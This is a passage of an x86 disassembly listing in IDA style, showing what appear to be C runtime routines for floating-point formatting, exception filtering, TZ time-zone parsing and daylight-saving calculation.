loc_420570:				; CODE XREF: sub_4204E2+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
; ---------------------------------------------------------------------------


loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h


loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------


loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx


loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax


loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------


loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF40
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF58
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------


loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx


loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]


loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A


loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------


loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]


loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------


loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h


loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_48A1E8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	dword_48A210, eax
		add	esp, 18h
		movsx	eax, byte_48A1EA
		mov	dword_48A208, eax
		pop	edi
		movsx	eax, word_48A1E8
		mov	dword_48A20C, eax
		mov	dword_48A214, offset dword_48A1EC
		mov	eax, offset dword_48A208
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------


loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------


loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: ___:0043B918o
					; ___:0043C3E0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------


loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, dword_48A218
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	dword_48A218
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------


loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax


loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp

; ---------------------------------------------------------------------------
dword_4208B4	dd 42086E68h, 8EE89000h, 0A3021906h, 48A218h, 1835FFC3h
					; DATA XREF: ___:00426024o
		dd 0E80048A2h, 219067Dh
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25B0B59h
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi


loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2850A05h
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi


loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25B0B0Ah
		nop
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi


loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC


loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	dword_48A2D8, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	dword_48A2D8

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_48A220, ebp
		mov	dword_43C018, ebx
		mov	dword_43C008, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_48A228
		nop
		call	near ptr 2800000h
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, dword_48A228
		mov	ecx, dword_48A27C
		imul	eax, 3Ch
		cmp	word_48A26E, bp
		push	1
		pop	edx
		mov	dword_43BF70, eax
		mov	dword_48A220, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43BF70, eax


loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	word_48A2C2, bp
		jz	short loc_4209E9
		mov	eax, dword_48A2D0
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	dword_43BF74, edx
		imul	eax, 3Ch
		mov	dword_43BF78, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------


loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	dword_43BF74, ebp
		mov	dword_43BF78, ebp


loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43BFFC
		push	ebx
		push	offset dword_48A22C
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, off_43BFFC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------


loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, off_43BFFC
		and	byte ptr [eax],	0


loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43C000
		push	ebx
		push	offset dword_48A280
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, off_43C000
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------


loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, dword_48A2D4
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6


loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	dword_48A2D4
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_48A2D4, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	off_43BFFC
		call	sub_418C10
		mov	eax, off_43BFFC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi


loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43BF70, ecx


loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17


loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------


loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx


loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------


loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx


loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------


loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	dword_43BF70, ecx


loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43BF74, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	off_43C000
		call	sub_418C10
		mov	eax, off_43C000
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------


loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, off_43C000
		and	byte ptr [eax],	0


loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43BF74, edi
		jnz	short loc_420BC0


loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------


loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43C008
		jnz	short loc_420BDE
		cmp	eax, dword_43C018
		jz	loc_420CE0


loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	dword_48A220, edi
		jz	loc_420CB6
		movzx	ecx, word_48A2CE
		push	ecx
		cmp	word_48A2C0, di
		movzx	ecx, word_48A2CC
		push	ecx
		movzx	ecx, word_48A2CA
		push	ecx
		movzx	ecx, word_48A2C8
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, word_48A2C4
		push	edi
		push	ecx
		movzx	ecx, word_48A2C6
		push	ecx
		movzx	ecx, word_48A2C2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------


loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, word_48A2C6
		push	ecx
		push	edi
		movzx	ecx, word_48A2C2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, word_48A27A
		add	esp, 2Ch
		cmp	word_48A26C, di
		push	eax
		movzx	eax, word_48A278
		push	eax
		movzx	eax, word_48A276
		push	eax
		movzx	eax, word_48A274
		push	eax
		jnz	short loc_420C9E
		movzx	eax, word_48A270
		push	edi
		push	eax
		movzx	eax, word_48A272
		push	eax
		movzx	eax, word_48A26E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, word_48A272
		push	eax
		push	edi
		movzx	eax, word_48A26E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------


loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h


loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, dword_43C00C
		mov	eax, dword_43C01C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24


loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx


loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9


loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, dword_43C010
		setnl	cl


loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------


loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43C020
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, dword_43C020[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------


loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, dword_43C054[esi]


loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------


loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, dword_43C024[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------


loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, dword_43C058[esi]


loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------


loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, dword_43C020[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------


loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, dword_43C054[eax*4]


loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]


loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	dword_43C00C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43C008, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C010, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43C01C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43BF78
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C020, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43C020, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------


loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	dword_43C020, eax


loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	dword_43C01C, ecx


loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	dword_43C018, ebx


loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx


loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax


loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	dword_48A0A8, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax


loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


